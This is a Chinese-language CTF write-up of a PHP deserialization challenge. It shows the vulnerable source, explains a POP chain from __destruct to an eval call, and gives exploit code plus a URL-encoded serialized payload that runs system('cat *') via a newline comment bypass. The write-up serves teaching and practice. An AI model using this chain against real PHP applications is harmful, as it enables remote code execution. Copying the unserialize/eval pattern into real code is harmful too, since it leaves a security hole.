贴上源码

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}
?>

一道反序列化的题目，先审查一下代码，然后写pop链

fin类中__destruct析构，当类被销毁时自动执行，从这里开始。

__destruct方法下有echo输出字符串可以调用what类中的__tostring魔术方法，__tostring下的调用run()函数有两个类可用，我选择mix类。mix类中的run()函数($this->m1)();使用函数的方式调用变量，触发crow类的__invoke魔术方法，在__invoke魔术方法中调用不存在的world()函数，触发fin类中的__call魔术方法，然后调用mix类的get_flag()函数进行命令执行。

需要注意get_flag()函数中的eval('#' . $this->m1);含有#注释符，可用\n换行符绕过

exp如下

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

$fin1=new fin();
$what=new what();
$mix1=new mix();
$mix2=new mix();
$crow=new crow();
$fin2=new fin();
$fin1->f1=$what;
$what->a=$mix1;
$mix1->m1=$crow;
$crow->v1=$fin2;
$fin2->f1=$mix2;
$mix2->m1="\nsystem('cat *');";

echo urlencode(serialize($fin1));

?>

得到

O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+%2A%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7Dhello114514

使用BP发包，可以得到flag